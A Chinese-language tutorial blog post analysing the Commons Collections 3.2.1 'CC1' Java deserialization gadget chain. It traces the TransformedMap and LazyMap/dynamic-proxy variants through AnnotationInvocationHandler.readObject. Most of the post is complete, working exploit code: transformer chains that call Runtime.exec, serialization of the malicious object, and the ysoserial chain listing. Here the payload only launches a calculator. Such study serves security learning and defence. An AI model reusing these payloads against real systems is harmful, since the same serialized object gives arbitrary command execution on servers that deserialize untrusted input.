前言

上一节中,我们针对Commons Collections1中可能遇到的类和方法进行了分析,接下来我们就正式对该利用链进行分析。

版本信息

java:JDK 8u66

CommonsCollections:3.2.1

攻击链分析

TransformedMap#checkSetValue

命令执行需要满足的条件

1.利用链中的类都需要能够序列化
2.入口可以接受任何类型的对象,执行readObject方法

我们在上一节课测试过InvokerTransformer这个类,这个类里的transform通过这个方法我们可以执行命令,所以在下来的分析中我们可以倒退判断出谁调用了这个方法,这里我们使用ctrl+F7或alt+ctrl+h可以查看哪里调用了这个方法1667302580458

我们可以在调用列表中看到TransformedMap中的checkSetValue调用了transform

1667303807659

可以看到valueTransformer调用了transform方法,从声明中我们可以知道该值是Transformer类型,且被protected修饰,只能在本类和子类中调用

1667305411493

TransformedMap的构造函数中有对valueTransformer的赋值操作

1667305708274

我们继续向上查找,看哪里调用了构造方法,我们可以看到decorate这个方法的返回值中新建了一个TransformedMap对象,导致调用了构造函数

1667313320769

1667306237282

接下来的还是重复之前的思路,看哪里调用了checkSetValue方法以及vaule是否可控

1667310428303

继续向上推我们就发现是MapEntry类的setValue方法调用了checkSetValue,这个静态类实现了AbstractMapEntryDecorator这个抽象类,而AbstractMapEntryDecorator又实现了Map.Entry

1667311235800

AbstractInputCheckedMapDecorator 又是TransformedMap的父类,我们在前置课程中介绍过Map.Entry表示Map中的一个实体(一个key-value键值对),

1667311448508

编写一个测试代码

public class InvokerTransformerTest {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        // 将键值对封装成对象并遍历
        for (Map.Entry<Object, Object> entry : decorate.entrySet()) {
            //循环的时候会自动调用目标迭代器的next方法
            entry.setValue(runtime);
            //这里我们调试的时候会看到,entry为AbstractInputCheckedMapDecorator$MapEntry的对象,是因为迭代器在循环的时候会自动执行next方法,而decorate是TransformedMap的对象,而TransformedMap没有entrySet方法,会执行其父类AbstractInputCheckedMapDecorator的entrySet方法,而其父类最终会返回一个EntrySet对象,接着开始调用EntrySet下的iterator迭代器方法,返回一个EntrySetIterator对象,然后又执行了EntrySetIterator对象的next方法,返回了一个MapEntry对象,最终导致调用setValue方法的就是MapEntry类
        }
    }
}

=====================下面这一部分可以先不看,分析了调用中的具体步骤=============

其中,我们通过decorate设置传入了一个InvokerTransformer对象,该对象就是被赋给TransformedMap类中的valueTransformer的值,for循环的时候会自动调用迭代器的next方法(看前置学习中的代码),在next方法中又新建了一个MapEntry对象,而parent是类型为TransformerMap的对象

1667316526739

然后就跳转到MapEntry类中的构造方法进行赋值,parent的还是TransformerMap的对象

1667317590144

最终我们通过entry调用setValue方法时,就会通过parent调用了checkSetValue方法,最终valueTransformer.transform()导致调用了TransformedMap下的transform。而且setValue是我们手动可控的runtime对象,最终在transform通过反射执行了命令。

===========================================================================

那我们接下来的任务就明确了,确定哪里调用了setValue方法,这里我们可以优先找readObject下调用的,最终我们在AnnotationInvocationHandler 类的 readObject() 方法发现了调用

1667319343495

我们查看AnnotationInvocationHandler类的构造方法,经过分析该构造方法接收两个参数,第一个参数是继承了 Annotation 注解泛型(比如我们常见的@Override就是注解)的 Class 对象,第二个参数是是一个 Map 集合,其 keyString 类型、valueObject 类型。构造方法先获取 type 变量的父接口,然后判断 type 是否是接口类型且仅有一个父类接口,并且父类接口是 Annotation.class ,才会将两个参数初始化在成员变量 typememberValues 中,第二个参数 Map 类型,该参数是我们可控的,但该构造方法也不是公共的,并且该类也是默认 deafult 修饰,只能本包中访问,所以只能通过反射来调用

1667321349670

我们再看其readObject方法,这里我们首先注意到,memberValue.setValue下的参数不是我们传递的,而我们之前测试setValue方法的时候是直接传递Runtime对象导致命令执行的,而且在执行这行代码之前有两个if判断,以及Runtime对象是无法序列化的。

1667481204991

目前为止,我们梳理一下需要解决的问题

1.Runtime 类是无法序列化的,他没有实现 Serializable 接口,只能通过反射进行调用

2.两个if的判断满足

3.setValue() 需要传 runtime 对象,但其实这里的 setValue() 传的是 new AnnotationTypeMismatchExceptionProxy

我们先解决第一个问题,虽然Runtime无法序列化,但是可以通过Rumtime.class得到类的原型,这个是可以序列化的

Class r = Rumtime.class;

1667483322400

我们就可以通过Runtime.class来进行命令执行,这里我们首先编写反射调用Rumtime执行命令的代码

Class c = Runtime.class;
//接着我们通过其getRuntime获取对象
Method getRuntimeMethod = c.getMethod("getRuntime",null);
//通过getRuntime方法获取对象,而getRuntime是一个静态方法,所以invoke第一个参数不需要传递对象
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMethod = c.getMethod("exec",String.class);
//执行命令
execMethod.invoke(r,"calc");

其中我们需要注意的是Rumtime的构造方法是私有的,我们可以直接通过getRuntime获取一个Runtime对象,Runtime代码如下

1667484541943

接着我们将其修改为InvokerTransformer方式调用,我们先看一下其构造函数需要的参数如下

1667483630737

接着我们编写代码

//首先获取getMethod方法,第一个参数为方法名,第二个参数为参数的类型,第三个参数为参数值
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//调用getRuntime 获取一个Runtime对象
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//通过获取的Runtime对象来执行exec方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

经过我们的分析发现,一共调用了三次InvokerTransformer().transform(),而每一次的返回结果都是下一次transform()里的参数,这里我们用到了我们在前置学习内容中的ChainedTransformer类,这个类可以完成链式调用,主要的功能就是将指定的转换器连接在一起的转化器实现。输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推,完全适用我们这个情形

那么我们就用代码形式将其实现

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //将我转换器数组传入
        //这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

1667488434855

这样第一个问题就被解决了,我们继续处理第二问题,两个if判断的处理,这里我们先编写代码进入到AnnotationInvocationHandlerreadObject方法下的两个if判断的位置进行调试

这里我们需要注意的是AnnotationInvocationHandler类采用default进行修饰,且构造器也是default进行修饰,作用域仅仅在这一个包下,所以我们需要使用反射方式进行调用

1667489803009

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class MyTransformerDemo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //将我转换器数组传入
        //这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("test","test");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        transformedMap.put("test","test");

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlConstructor.setAccessible(true);
        Object o = annotationInvocationHandlConstructor.newInstance(Override.class,transformedMap);

        serialize(o);
        unSerialize("src/com/alexsel/CC1/ser.ser");
    }
    
    // 序列化
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
    }

    // 反序列化
    public static Object unSerialize(String fileName) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
        return obj;
    }
}

这里我们完成了对AnnotationInvocationHandler对象的创建,我们对代码进行调试的时候发现到第一个if判断时未通过的的,主要原因是memberValue的值为null

1667550146661

其中的memberValue的值就是我们创建AnnotationInvocationHandler对象时传递的第三个参数,一个Annotation对象,这里我们的传值是Override.class,在构造函数中我们可以看到其赋值操作

1667550248321

然后获取memberValues中单个元素的key值,并通过该值获取memberTypes中对应的值,我们if判断失败就是在这里,没有成功获取memberTypes中对应的值,而memberTypes的值和我们创建AnnotationInvocationHandler对象传入的参数有关,我们可以看到memberTypes的值是通过以下方式获取的

1667550476178

memberTypes()就是返回AnnotationType对象中的memberTypes成员变量的值

1667550527696

AnnotationType对象是通过AnnotationType.getInstance方法获取的对象,在这个函数中传递的type就是Override.class,最后再getInstance中创建了AnnotationType对象并将其中的type赋值为Override.class

1667550601648

最后我们可以在AnnotationType构造函数中得知,memberTypes的key值包含有Override所有声明过的方法

1667551342407

所以为了保证if判断的值为真,我们就需要传递的Annotation对象包含成员方法,而我们这里传递的Override中没有成员方法

1667551509844

但是Target中是有成员方法的

1667551558348

所以我们在编写代码的时候将Override替换为Target,并将map中的key值替换为其成员方法的名称value

1667551755009

最后通过第一个if判断,我们继续看第二个if判断,这里可以直接进入,无需再做操作

1667551709660

接下来我们解决最后一个问题,在其经过两个if判断判断之后就会执行memberValue.setValue操作,但是里面传递的参数不是我们可以控制的,但是我们可以通过ConstantTransformer类来完成传递Runtime.class的操作,我们可以先看一下其构造函数和transform,在其构造函数中将我们传递的constantToReturn参数又在transform中返回了,刚好满足我们之前链式调用的条件

1667552265242

编写代码进行测试,这就是最终的利用代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
        System.out.println(Override.class.getDeclaredMethods().length);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //将我转换器数组传入
        //这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","test");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        transformedMap.put("test","test");
        System.out.println(transformedMap);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlConstructor.setAccessible(true);
        Object o = annotationInvocationHandlConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unSerialize("src/com/alexsel/CC1/ser.ser");
    }
    
    
    // 序列化
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
    }

    // 反序列化
    public static Object unSerialize(String fileName) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
        return obj;
    }
}

执行结果,成功弹出计算器

1667555287884

这里我们在Transformer数组中有添加了ConstantTransformer对象,是因为我们在AnnotationInvocationHandler->readObject方法中执行的setValue传递的参数不是我们可以控制的,而进入链式反应之后,ConstantTransformer返回的对对象已经在构造函数规定了,所以无论在setValue中传递什么类型的对象已经无所谓了,而是通过transform返回我们最开始传入的Runtime.class

TransformedMap#checkSetValue调用逻辑分析

首先目标程序存在反序列化漏洞的情况,我们将payload传入目标程序,目标进行反序列化

  • 1.触发AnnotationInvocationHandler->readObject()方法

    • 1.readObject()方法中执行memberValue.setValue(),参数:AnnotationTypeMismatchExceptionProxy对象
  • 2.MapEntry->setValue方法,其中parent为我们定义TransformedMap类型的键值对

    • 1.调用parent.checkSetValue()方法,参数:AnnotationTypeMismatchExceptionProxy对象
  • 3.TransformedMapcheckSetValue方法

    • 执行valueTransformer.transform()方法,其中valueTransformer的值我们在之前的代码中TransformedMap.decorate已经赋值为chainedTransformer,通过它进行链式调用
  • 4.进入ChainedTransformer->transform方法,这里循环进行链式调用,第一个循环的对象是我们创建的ConstantTransformer对象,无论传入什么都会返回我们最开始定义的Runtime.class
  • 5.在链式调用中,从第二个开始,依次InvokerTransformer->transform方法,通过反射获取方法并返回执行结果,最终在最后一个链式调用时执行calc弹出计算器命令

ysoserial-LazyMap分析

首先我们看一下ysoserial中完成的利用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

继续分析需要Java动态代理的知识,我们在之前已经提前学习过相关内容,请看之前的文章。

InvocationHandler中的Object invoke(Object proxy, Method method, Object[] args)方法:调用代理类的任何方法,此方法都会执行
  - 参数1:代理对象
  - 参数2:当前执行的方法
  - 参数3:当前执行的方法运行时传递过来的参数
  - 返回值:当前方法执行的返回值

这里我们为了方便下面的应用,我们就是用P神的代码做一个例子

编写代理类

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
    private Map map;

    public ExampleInvocationHandler(Map map)
    {
        this.map = map;
    }


    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if(method.getName().compareTo("get")==0){
            System.out.println("Hook method: "+method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map,args);
    }
}

编写测试类

public class ExampleDemo {
    public static void main(String[] args) {
        ExampleInvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        System.out.println(proxyMap);
        proxyMap.put("hello","world");
        String result = (String)proxyMap.get("hello");
        System.out.println(result);

    }
}

通过该测试类我们知道,这行代码代理最终会走到handler对象的invoke方法中去

第一个put方法没有返回结果,因为我们if判断只接受函数名为get才会进行输出

攻击链分析

在我们之前的调试中,我们已经在调用函数中见到过LazyMap的身影,那么接下来我们就针对这条调用链展开分析

我们在InvokerTransformer类中查找transform的调用,我们可以看到LazyMap类中的get方法调用了transform方法

1667647263004

我们进入LazyMap类分析get方法。首先是一个if判断map是否包含指定的键key,如果包含了指定key就会进入判断并执行factory.transform()。这个函数的意思是当调用get(key)key 不存在时,会走进该 if 中,根据注释来翻译,如果键当前不在 map 中,则为键创键值,存在则直接执行get方法。

1667647375621

并且这个这里两个关键的字段都是可以通过decorate创建LzayMap对象进行赋值的

1667647776130

根据目前分析的情况我们编写测试代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class LazyMapDemo {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map<String,String> map = new HashMap();
        map.put("value","value");
        Map outerMap = LazyMap.decorate(map,transformerChain);
        outerMap.get("test");
    }
}

1667649979477

接着我们继续分析利用链,接下来我们即可以继续向上追踪,这次我们查找的时候找到了一千多个调用,这里我们就直接找到目标类进行分析。我们在AnnotationInvocationHandler 类中的invoke方法中,执行了memberValues.get(member)代码

1667650860928

而这个invoke方法如何调用?这个AnnotationInvocationHandler 是一个实现了InvocationHandler的类,是一个动态代理类,这就涉及到我们之前说的动态代理的问题,当我们配置了动态代理之后,执行任何方法,最终都会通过invoke来执行被代理类中的方法

1667651613210

接下来我们需要找到入口类readObject,首先我们在AnnotationInvocationHandler 类的readObject方法中找到了一个可以控制的成员变量memberValues ,我们在分析上一个利用链的是时候已经知道memberValues可以通过构造函数进行赋值,而在这个函数中,memberValues调用了entrySet方法,

1667656906787

如果我们给memberValues传入的是代理类的对象,那么就会执行invoke方法,最终调用get完成利用链。

1667657166074

利用代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
//import sun.reflect.annotation.
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapDemo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map<String,String> map = new HashMap();
        map.put("value","value");
        Map outerMap = LazyMap.decorate(map,transformerChain);
//        outerMap.get("test");
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)annotationInvocationHandlConstructor.newInstance(Target.class,outerMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlConstructor.newInstance(Target.class, mapProxy);
        serialize(invocationHandler);
        unSerialize("src/com/alexsel/CC1/ser2.ser");
    }
    // 序列化
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser2.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
    }

    // 反序列化
    public static Object unSerialize(String fileName) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
        return obj;
    }
}

基本逻辑是这样的,我们采用倒推的方式,首先我们找到LazyMap中的get方法调用了InvokerTransformertransform,而get方法中有一个我们可以控制的变量,来调用其transform,继续向上查找调用,在AnnotationInvocationHandler中的invoke方法中找到了调用LazyMapget方法,AnnotationInvocationHandler是一个代理类,我们可以通过创建代理对象的方式调用这里的invoke方法,刚好在这里类中的readObject方法中存在一个可控变量,其调用了entrySet方法,如果我们在这个可控变量里传入一个经过代理的对象,被代理的对象是传入链式调用transformerLazyMap对象,将其赋值给AnnotationInvocationHandlermemberValues变量来完成调用

版本升级问题

8u71以后,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数,所以这条链子在高版本是无法利用的,如果想要在高版本利用那我们接下来就需要学习CC6利用链

最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏